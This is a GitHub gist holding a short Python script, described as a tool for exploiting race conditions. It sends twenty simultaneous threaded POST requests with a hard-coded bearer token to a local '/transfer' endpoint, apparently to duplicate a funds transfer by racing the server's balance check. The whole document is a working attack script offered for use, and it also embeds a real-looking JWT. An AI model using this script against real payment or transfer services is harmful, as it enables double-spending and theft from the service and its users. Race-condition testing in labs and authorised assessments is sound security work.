Skip to content

Instantly share code, notes, and snippets.

@hash3liZer
Created January 21, 2024 16:02
Show Gist options
  • Save hash3liZer/842f390711c5f6607a3bd138c83e7464 to your computer and use it in GitHub Desktop.
Save hash3liZer/842f390711c5f6607a3bd138c83e7464 to your computer and use it in GitHub Desktop.
Script for exploiting Race Conditions
#!/usr/bin/python3
'''
A Script for Race Conditions
'''
import requests
import threading
import time
import json
headers = {
'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwNTg1MjY4NywianRpIjoiZWEwZjU5MGMtMDBlMi00YWYzLTk4MmMtZjBjNThmM2YyMzViIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6MSwibmJmIjoxNzA1ODUyNjg3LCJjc3JmIjoiNGE2OGI5NTYtY2E4NS00MmNmLWJlMTUtMmJlNzkwMmU1ODkxIiwiZXhwIjoxNzA1ODUzNTg3fQ.U0eMY3Zllo6xY4W9xIclXc72afYMQ0iC1Jnhc_rGii0',
'Content-Type': 'application/json',
}
data = {
"batchid":"47ba2f15-1473-403b-871d-9aca9182469c",
"recipient":"464f6a1a-7d61-484c-a6a4-9fa098f7e722",
"amount":"0.009"
}
URL = 'http://localhost:5000/transfer'
THREADS = 20
TOTAL_REQUEST = 20
FINISHED = 0
def request(request_number):
global FINISHED
FINISHED += 1
r = requests.post(
URL,
json.dumps(data),
headers = headers
)
print(f"Response {request_number}: {r.status_code} | {len(r.text)}")
# print(r.text)
FINISHED -= 1
def exploit():
for n in range(TOTAL_REQUEST):
t = threading.Thread(target=request, args=(n,))
t.daemon = True
t.start()
while FINISHED >= THREADS:
pass
while FINISHED > 0:
time.sleep(0.5)
if __name__ == "__main__":
exploit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment